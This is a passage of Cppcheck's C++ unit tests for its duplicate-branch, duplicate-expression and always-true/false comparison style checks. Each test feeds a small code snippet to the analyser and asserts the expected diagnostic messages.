[test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned 